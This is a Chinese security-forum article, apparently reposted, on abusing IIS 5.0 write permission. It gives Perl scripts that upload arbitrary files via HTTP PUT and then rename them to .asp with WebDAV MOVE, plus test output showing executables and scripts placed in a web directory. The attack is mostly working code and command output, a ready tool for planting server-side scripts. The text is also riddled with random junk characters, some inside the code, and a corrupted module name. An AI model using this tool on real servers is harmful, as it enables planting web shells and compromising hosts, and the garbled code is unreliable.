对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

( V; F& M; y6 w' {7 j* R. o7 h/ R' F

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

写权限

& Q/ \5 r- q# ^

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

PUT /dir/my_file.txt HTTP/1.1 9 _' _$ S5 T2 \4 a: \Host: iis-server + | r+ b8 q$ G1 S! v. ?Content-Length: 10

　　这时服务器会返回一个100( 继续)的信息：

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 ! D0 z7 p+ d B- w- U3 M& vDate: Thu, 28 Feb 2002 15:56:00 GMT

! d$ L* h9 z9 ]9 m. ]% c

　　接着，我们输入10个字母：

4 c9 f# l, {5 }/ }/ H( c

( K2 |* ?7 u* a7 ^% LAAAAAAAAAA

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

7 o7 j! l" {8 u8 L" [, Y; N/ h* W8 KHTTP/1.1 201 Created - v: T8 e. W( o( u' s+ g& ZServer: Microsoft-IIS/5.0 : w; k: A) b9 s6 @* }+ q+ _Date: Thu, 28 Feb 2002 15:56:08 GMT - P: b+ M& R% f5 }- M+ pLocation: http://iis-server/dir/my_file.txt Content-Length: 0 0 ~/ k) G" A( s$ W2 RAllow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, 5 D8 H' q9 c" c, F- hPROPPATCH, SEARCH, LOCK, UNLOCK

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

0 E, u: m$ z& H

　　这里简单说明下：

8 t5 `! `' Q: h0 Z- T9 o

PUT /dir/my_file.txt HTTP/1.1 Host: iis-server Content-Length: 10

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 　　Host：是HTTP请求的发送地址 % m9 S, m6 s% V' O: ] f+ B　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

4 K/ T' X* Y* d9 a' ]

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

/ t3 B$ m: l3 M6 x, Y" b4 v& e# k

8 l. E. U2 a& O1 X: k) z! N4 h4 W

#!/usr/bin/perl use I:Socket; - s3 }/ s3 [; H9 b: w5 ? ~% p3 ]+ i, o$ARGC = @ARGV;

if ($ARGC != 4) & E: ~* J* z* D! i{ - b) u. g* F$ Q% O. |; C& s　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; 8 b7 m1 u6 g+ C% \! ~! E# |　　exit; ! @6 J9 W7 V9 j3 {# ^8 _" z} 9 d$ m( S+ H# ]( |; ?+ S: b' ^$host = @ARGV[0]; $port = @ARGV[1]; / C k: ?3 X8 g7 v" N& _2 A$file = @ARGV[2]; $path = @ARGV[3];

@s=stat("$file"); $size = $s[7]; #得到文件大小 print "$file size is $size bytes\n";

8 f. K, e5 T8 n- g

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; 5 J& h, U0 n8 u& Q$ K% N; eprint $sock "PUT $path HTTP/1.1\n"; % F+ q8 _( e' x. J6 I& Fprint $sock "Host: $host\n"; N/ z8 W m. `# Bprint $sock "Content-Length: $size\n\n"; #sock连接

open(FILE,"$file"); , T$ l* T- Z; \0 U5 ?! W1 [binmode(FILE); #用2进制打开文件

- i3 x3 ~5 c" j- p9 _! y

while (read(FILE,$char,1024)) { #读取文件数据上传 　　print $sock "$char"; 5 j9 A* F, r! a: L} print $sock "\n\n"; @req = <$sock>; 7 d1 Q; V& A. b0 q8 ^print "please wait...\n"; 2 ]7 Y" W0 V- D# d& f& O* Q2 }sleep(2); ( H# B' H3 w( ]& Zif ($req[4]=~/200|201/){ 5 l1 J) h/ b$ j- |/ r, E2 f　　print "upfile Succeed!!!" ; #成功显示 } 2 T% Z) \% w! nelse{ 　　print "upfile faile!!!\n\n"; 　　print @req;#如果失败显示返回错误 } close $sock; 8 ^9 ~7 z% `, J- x) u! d0 `- Dclose FILE;

7 Z$ ?3 O" u, o% Q1 r; c6 ^

　　下面我们测试下：

O2 P, W l3 K. u

' {* T, e3 n( J9 r& k( z4 @$ s ! p6 o4 [, Y& R

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt 5 v( S4 \6 k: lkaka.txt size is 14 bytes please wait... 5 M3 k- G( f) P, J/ Fupfile Succeed!!!

6 a/ ^. i: e1 P

C:\Inetpub\Scripts>dir kaka.txt 8 p- R$ f' W) j$ H' m驱动器 C 中的卷没有标签。 + ~4 N3 W ]* ]. O& m, Y4 ^卷的序列号是 3CD1-479E

0 f8 B" B% J- d0 i0 Y

C:\Inetpub\Scripts 的目录

9 Y2 y' N: \8 m; ]4 n1 d* v

2004-05-05 00:37 14 kaka.txt 1 个文件 14 字节 $ C: t9 }" Y8 G# g* m1 g% j0 个目录 3,871,080,448 可用字节

' e1 L! u. e' Y2 t' p/ s

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe perl.exe size is 20535 bytes ! a* r; A1 O1 f! A% qplease wait... - t+ h) H, V; P, ]: _0 l7 wupfile Succeed!!!

C:\Inetpub\Scripts>dir perl.exe & p1 }5 a1 w n) S: @驱动器 C 中的卷没有标签。 卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

& m; O+ w# L3 L( E

2004-05-05 00:42 20,535 perl.exe 1 个文件 20,535 字节 8 V% l4 k, q s- `0 个目录 3,871,031,296 可用字节

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

4 l. S+ y! Y- |) u

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp 9 }2 V3 Y! _8 F3 J$ Ekaka.asp size is 4 bytes * b9 B J3 g+ m* m* d9 ^$ wplease wait... upfile faile!!!

HTTP/1.1 100 Continue 2 L* J0 y2 y+ l% lServer: Microsoft-IIS/5.0 8 `& g' R/ `5 j3 [9 u, j# `0 b9 ZDate: Tue, 04 May 2004 16:45:51 GMT

5 _( p! s) b9 k2 v; D

HTTP/1.1 403 Forbidden Server: Microsoft-IIS/5.0 $ b% D" f* v6 P' _Date: Tue, 04 May 2004 16:45:51 GMT Connection: close 7 G, p ~. N. I" m" Z# c7 A' rContent-Type: text/html 1 o6 b8 O' E% L9 a7 KContent-Length: 44

+ X" g, h/ y1 V# X8 j

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

2 _3 ^! |" X! y4 ~& I; z# z! ]: L

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

　　我们还是先用nc提交测试下：

6 h& U+ B( Z. {0 e/ \8 n. N3 \

D:\>nc 127.0.0.1 80 MOVE /scripts/kaka.txt HTTP/1.1 Host:127.0.0.1 + ]: | @6 S* MDestination: http://127.0.0.1/scripts/kaka.asp

: G& }2 s2 F6 r& t

HTTP/1.1 201 Created 1 w% M/ c. P! ]Server: Microsoft-IIS/5.0 Date: Sun, 05 Oct 2003 09:30:59 GMT Location: http://127.0.0.1/scripts/x.asp Content-Type: text/xml Content-Length: 0

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

' H, u2 v% b! W

　　测试写asp成功：

' ~6 E4 g+ @) Y

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp ************************************************************ , v$ Z: R" C+ J# v; _* N+ fcodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> , E: d$ e0 O' C2 ^8 f************************************************************ kaka.asp size is 4 bytes m- [: ^+ o* x5 z8 Yplease wait... 4 q7 m, ^2 o3 x6 ^; B- Z& Fupfile Succeed!!! # J+ b# M# A5 Q! L) }3 }9 M) [2 iModifyfile Succeed!!!

& h, a$ {3 W: ], n2 {

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

; Z# h7 J- N& z+ `- ~7 O

#!/usr/bin/perl #The iiswrite Script

1 n/ k1 J2 Y0 N/ H8 Y8 l3 H/ m4 O

use I:Socket; * p8 z* Y* n. {' O6 M4 i7 |2 H7 }$ARGC = @ARGV; ! c. H2 @% E+ \# ?/ _7 yprint "*" x 60; print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; print "*" x 60,"\n"; 4 W# o- Y5 Z O3 s5 w. Z; u: R: hif ($ARGC != 4) { ) B4 K. U3 I- P: r　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; 　　exit; } $host = @ARGV[0]; $port = @ARGV[1]; % M8 K7 Q9 e& }9 w- G0 F7 s$path = @ARGV[3]; $ |$ |- h2 L, n. m* o( z$file = @ARGV[2];

B/ [8 x4 L- X+ V. \. u6 v( s

@path=split("/",$path); $any = pop(@path); $path1=join("/",@path); : e! S, V4 [* G% B7 n@s=stat("$file"); $size = $s[7];

* T' E2 \: h; m( H! V) s

print "$file size is $size bytes\n"; + |2 R) h+ b- [ G& D. ~my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; & J/ X% U' ~- o n5 H& {- Gprint $sock "PUT $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; 6 x( r' L ]7 {print $sock "Content-Length: $size\n\n"; open(FILE,"$file")|| die "Can't open $file"; binmode(FILE); while (read(FILE,$char,1024)) { `' J5 m) V8 g- j7 m* }* S　　print $sock "$char"; , }3 Q/ K- P7 }7 h2 B8 V7 o} P4 ?3 P1 d/ W! ^print $sock "\n\n"; @req = <$sock>; print "please wait...\n"; sleep(2); 1 `9 R( m# m7 ~" {if ($req[4]=~/200|201/){ 8 I+ N+ p9 N$ b7 h8 ]& l% Q7 N8 I　　print "upfile Succeed!!!\n" ; + I! A6 D' n2 |+ \} / h, [; t3 W9 ^( o/ Q/ jelse{ 　　print "upfile faile!!!\n"; 2 J( u; y" M$ _0 g} + J2 i4 w# o4 E! R7 l3 _close $sock; close FILE;

6 ^/ V0 ~, {+ k7 i# \

my $sock = I:Socket::INET->new(Proto =>"tcp", & Z( a# T, ~9 V. Z4 M& o; R2 ?PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; / m2 I' U6 ~/ c; ]9 yprint $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Destination:http://$hostport$path\n\n\n\n"; " R7 D5 m! e, C! j@req = <$sock>; if ($req[0]=~/20\d+|/){ 　　print "Modifyfile Succeed!!!" ; } else{ 　　print "upfile faile!!!"; # h0 h ~# r) R! ]+ V! w8 _: x} ( f8 @2 v- M/ n# h6 f5 f: Q0 p$ ?close $sock